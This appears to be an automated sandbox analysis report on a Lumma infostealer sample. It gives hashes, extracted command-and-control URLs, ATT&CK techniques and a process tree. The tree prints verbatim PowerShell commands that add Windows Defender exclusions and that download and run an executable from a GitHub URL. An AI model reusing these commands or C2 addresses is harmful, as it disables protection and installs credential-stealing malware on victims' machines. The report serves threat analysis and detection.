lumma | d9b33203556fafab59ac2a86ffc481da83dab9a29293639098cefd15fd686628

Resubmissions

14/03/2025, 13:03

250314-qacneavkv5 10

Analysis

max time kernel
102s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
14/03/2025, 13:03

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General

Target

InstallSetup.exe
Size

383KB
MD5

18bc0a0e4aab55b86cd1f41476829918
SHA1

977bd945d4f4a763f36cbcc703029340327d4f40
SHA256

c5a145def78019e54b7f092ff967d25687b4955ec176ce53eab5916d954427be
SHA512

ca5206d805bfccfea6a8ed55911792d12df23fb185dadcb4d3d3a87943f1457d74045f4e611e2e73631c53b6bf10c4d6ef2e38e30686436ccead2fdf1bf72b68
SSDEEP

6144:yjIjZkWXdi1sWAQLYplIZlQ/WvuaentzFIkJLgJUQjyOxyAOzG+RaJs6GN1l:yjIjdiO8clZWeVF9JLgizc+ILk

Score

10^/10

lumma discovery execution spyware stealer

Malware Config

Extracted

Family

lumma

https://mrodularmall.top/api

https://featureccus.shop/api

https://jowinjoinery.icu/api

https://flegenassedk.top/api

https://-htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://latchclan.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	3616	powershell.exe
12	3616	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
748	powershell.exe
3616	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	5656	InstallSetup.exe
12	3616	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	InstallSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	92BA.tmp.exe

Executes dropped EXE 2 IoCs

pid	Process
3052	92BA.tmp.exe
4404	downloaded_file.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4404	downloaded_file.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5344	4404	WerFault.exe	90

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaded_file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallSetup.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
748	powershell.exe
748	powershell.exe
3616	powershell.exe
3616	powershell.exe
4404	downloaded_file.exe
4404	downloaded_file.exe
4404	downloaded_file.exe
4404	downloaded_file.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	3616	powershell.exe
Token: SeImpersonatePrivilege	4404	downloaded_file.exe
Token: SeImpersonatePrivilege	4404	downloaded_file.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5656	InstallSetup.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
5656	InstallSetup.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4404	downloaded_file.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5656 wrote to memory of 3052	5656	InstallSetup.exe	83
PID 5656 wrote to memory of 3052	5656	InstallSetup.exe	83
PID 3052 wrote to memory of 5068	3052	92BA.tmp.exe	86
PID 3052 wrote to memory of 5068	3052	92BA.tmp.exe	86
PID 5068 wrote to memory of 748	5068	cmd.exe	87
PID 5068 wrote to memory of 748	5068	cmd.exe	87
PID 3052 wrote to memory of 4064	3052	92BA.tmp.exe	88
PID 3052 wrote to memory of 4064	3052	92BA.tmp.exe	88
PID 4064 wrote to memory of 3616	4064	cmd.exe	89
PID 4064 wrote to memory of 3616	4064	cmd.exe	89
PID 3052 wrote to memory of 4404	3052	92BA.tmp.exe	90
PID 3052 wrote to memory of 4404	3052	92BA.tmp.exe	90
PID 3052 wrote to memory of 4404	3052	92BA.tmp.exe	90

C:\Users\Admin\AppData\Local\Temp\InstallSetup.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup.exe"
1⤵
- Downloads MZ/PE file
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5656
- C:\Users\Admin\AppData\Local\Temp\92BA.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\92BA.tmp.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\tsmjwcwmfoib', 'C:\Users', 'C:\ProgramData'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\tsmjwcwmfoib', 'C:\Users', 'C:\ProgramData'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\tsmjwcwmfoib\downloaded_file.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\tsmjwcwmfoib\downloaded_file.exe'"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3616
- - C:\tsmjwcwmfoib\downloaded_file.exe
    "C:\tsmjwcwmfoib\downloaded_file.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4404
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 1464
      4⤵
      Program crash
      PID:5344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4404 -ip 4404
1⤵
PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fd1e1eb6a048e036091c96bdc35a80f2

SHA1
647970199ff6cf12e9d62f5d42030b50ec2fd319

SHA256
f2a37d987731acdcd4887580e12dc5adef0f76c2f8566b071124973ccc49a5fa

SHA512
17571b418a955ac9349b99b03a11560f35a05633cb6146b4ac2b6854e72a215b8cbae9528e1634ac3fafc96f25bffc81c84719305b53cf6e01a97e6669cc05f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\92BA.tmp.exe

Filesize
314KB

MD5
c3f1f2f2c303a518b957c6daf9abe66f

SHA1
87e5aed6195fb9811ce40a006b8d757c3577a410

SHA256
9a2163b925e9ba9aa6e17b0e6c813c36f0dbc3f2b8c6e74d1005553aca99e22c

SHA512
651695405631daa70d79a45511795e244d86daa6b9982e561dc5eaa7db167307082d55b2d0b1a0650cbd250e01ff40ab97693b5a257c5d6757265ad1e2e2fccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ioxwruqf.lqs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tsmjwcwmfoib\downloaded_file.exe

Filesize
1.3MB

MD5
bc270342cd8a60fbcb34f401914fe1c4

SHA1
0f30f3e48550f1e1ebcb46d48c7d7a50499352b9

SHA256
d5acf2451a1683b2e702f8da1dee3c0c908f6683b899e5ebe8b4614f1870a410

SHA512
42dfa739a610a7fe073256dfb1a52a517dc35989b5c40c631fbfbf36ba5307c2e9c84bd855f01b46d1ffa625214ea0d496f4337ee61d38cbcd1e46be7b5005d4

Download Submit
memory/748-16-0x00007FF96EDD3000-0x00007FF96EDD5000-memory.dmp

Filesize
8KB

Download
memory/748-22-0x0000014A1F490000-0x0000014A1F4B2000-memory.dmp

Filesize
136KB

Download
memory/748-27-0x00007FF96EDD0000-0x00007FF96F891000-memory.dmp

Filesize
10.8MB

Download
memory/748-28-0x00007FF96EDD0000-0x00007FF96F891000-memory.dmp

Filesize
10.8MB

Download
memory/748-30-0x00007FF96EDD0000-0x00007FF96F891000-memory.dmp

Filesize
10.8MB

Download
memory/4404-45-0x0000000000810000-0x0000000000BDB000-memory.dmp

Filesize
3.8MB

Download
memory/4404-46-0x0000000000810000-0x0000000000BDB000-memory.dmp

Filesize
3.8MB

Download